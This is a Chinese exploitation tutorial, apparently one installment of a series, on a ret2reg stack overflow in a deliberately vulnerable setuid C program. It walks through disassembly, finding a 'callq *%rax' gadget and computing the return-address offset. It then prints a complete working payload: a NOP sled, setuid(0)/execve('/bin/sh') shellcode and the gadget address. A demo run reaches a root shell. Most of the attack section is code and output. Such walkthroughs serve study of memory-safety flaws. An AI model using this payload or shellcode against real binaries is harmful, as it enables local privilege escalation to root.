在(六)中我们提到了使用固定栈地址的攻击方式,但在实际中,系统默认的参数不会为0

cat /proc/sys/kernel/randomize_va_space

那么在系列中的六失去攻击的意义,但是任何事情都会有漏洞,我们来讲另一个基于寄存器的攻击

漏洞代码

vulnerableret2reg.c

#include <stdio.h>
#include <string.h>
void evilfunction(char* input)
{
  char buffer[1000];
  strcpy(buffer, input);
}
int main(int argc, char** argv)
{
   evilfunction(argv[1]);
   return 0;
}

我们先看一下函数strcpy

char *strcpy(char *dest, const char *src);

那么意味着返回的数组的地址dest数组的地址在寄存器rax里,而strcpy返回的地址就是在函数evilfunction的buffer的地址,也就是说rax寄存器里的地址就是evilfunction里的buffer的起始位置,而非常幸运的是在evilfunction函数中在strcpy后面并没有对rax寄存器做任何操作,而本身函数evilfunction也没有返回值(rax是返回值寄存器)。

evilfunction 函数的汇编

00000000004004c4 <evilfunction>:
  4004c4:	55                   	push   %rbp
  4004c5:	48 89 e5             	mov    %rsp,%rbp
  4004c8:	48 81 ec 00 04 00 00 	sub    $0x400,%rsp
  4004cf:	48 89 bd 08 fc ff ff 	mov    %rdi,-0x3f8(%rbp)
  4004d6:	48 8b 95 08 fc ff ff 	mov    -0x3f8(%rbp),%rdx
  4004dd:	48 8d 85 10 fc ff ff 	lea    -0x3f0(%rbp),%rax
  4004e4:	48 89 d6             	mov    %rdx,%rsi
  4004e7:	48 89 c7             	mov    %rax,%rdi
  4004ea:	e8 d9 fe ff ff       	callq  4003c8 <strcpy@plt>
  4004ef:	c9                   	leaveq 
  4004f0:	c3                   	retq 


我们看到在callq 后面就没有在任何对rax寄存器修改的指令了。

rax寄存器就成了我们的攻击方向

1. 我们要找到一个call %rax的指令地址,编译vulnerableret2reg.c 成可执行文件

gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
objdump -d vulnerableret2reg |grep rax > rax.txt
cat rax.txt
 4003b4:	0f 1f 40 00          	nopl   0x0(%rax)
  4003ed:	50                   	push   %rax
  400410:	48 8b 05 89 04 20 00 	mov    0x200489(%rip),%rax        # 6008a0 <_dynamic 0x190="">
  400417:	48 85 c0             	test   %rax,%rax
  40041c:	ff d0                	callq  *%rax
  400447:	48 8b 05 92 04 20 00 	mov    0x200492(%rip),%rax        # 6008e0 <dtor_idx 6351="">
  40045d:	48 39 d8             	cmp    %rbx,%rax
  400462:	66 0f 1f 44 00 00    	nopw   0x0(%rax,%rax,1)
  400468:	48 83 c0 01          	add    $0x1,%rax
  40046c:	48 89 05 6d 04 20 00 	mov    %rax,0x20046d(%rip)        # 6008e0 <dtor_idx 6351="">
  400473:	ff 14 c5 f8 06 60 00 	callq  *0x6006f8(,%rax,8)
  40047a:	48 8b 05 5f 04 20 00 	mov    0x20045f(%rip),%rax        # 6008e0 <dtor_idx 6351="">
  400481:	48 39 d8             	cmp    %rbx,%rax
  400494:	66 66 66 2e 0f 1f 84 	data32 data32 nopw %cs:0x0(%rax,%rax,1)
  4004b3:	48 85 c0             	test   %rax,%rax
  4004be:	ff e0                	jmpq   *%rax
  4004dd:	48 8d 85 10 fc ff ff 	lea    -0x3f0(%rbp),%rax
  4004e7:	48 89 c7             	mov    %rax,%rdi
  400500:	48 8b 45 f0          	mov    -0x10(%rbp),%rax
  400504:	48 83 c0 08          	add    $0x8,%rax
  400508:	48 8b 00             	mov    (%rax),%rax
  40050b:	48 89 c7             	mov    %rax,%rdi
  400522:	66 66 66 66 66 2e 0f 	data32 data32 data32 data32 nopw %cs:0x0(%rax,%rax,1)
  40057c:	0f 1f 40 00          	nopl   0x0(%rax)
  4005c9:	48 8b 05 18 01 20 00 	mov    0x200118(%rip),%rax        # 6006e8 <__ctor_list__>
  4005d0:	48 83 f8 ff          	cmp    $0xffffffffffffffff,%rax
  4005db:	0f 1f 44 00 00       	nopl   0x0(%rax,%rax,1)
  4005e4:	ff d0                	callq  *%rax
  4005e6:	48 8b 03             	mov    (%rbx),%rax
  4005e9:	48 83 f8 ff          	cmp    $0xffffffffffffffff,%rax

很幸运的是我们看到了callq *%rax

40041c:ff d0                callq  *%rax
指令地址是40041c

2. 计算覆盖到返回地址的空间

lea    -0x3f0(%rbp),%rax
也就是buffer的起始地址是相对于rbp -0x3f0 =十进制1008在加上8就是函数返回地址了

3. 填充我们的数组

`perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`

16+43+957=1016 在填充指令地址40041c 

4. 执行我们的shellcode

当函数退出的时候,rip的地址指向了40041c, 而执行机器指令 callq *%rax, 此时rax里的值是buffer数组的起始地址,那么将开始执行buffer数组里的内容。我们只要将buffer数组填入我们所想要执行的shellcode,那么这次攻击完美产生。


演绎攻击

gcc -z execstack -o vulnerableret2reg vulnerableret2reg.c
chmod u+s vulnerableret2reg
su test
./vulnerableret2reg `perl -e 'print "\x90"x16;print "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";print "\x90"x957;print "\x1c\x04\x40\x00"'`
sh4.1#whoami
root


一切如设计的一样,你成为了root.

栈攻击并不简单

1. 你需要buffer数组足够长,能够填满你的shellcode。

2. 你需要程序后面没有对寄存器进行操作。
3. 你需要你的程序里本身有对寄存器的操作,并能得到代码所在的地址。

4. 当然你还需要在编译的时候指定可以在栈中执行的代码。

5. 为了变成root 你需要程序有s的权限。






Logo

更多推荐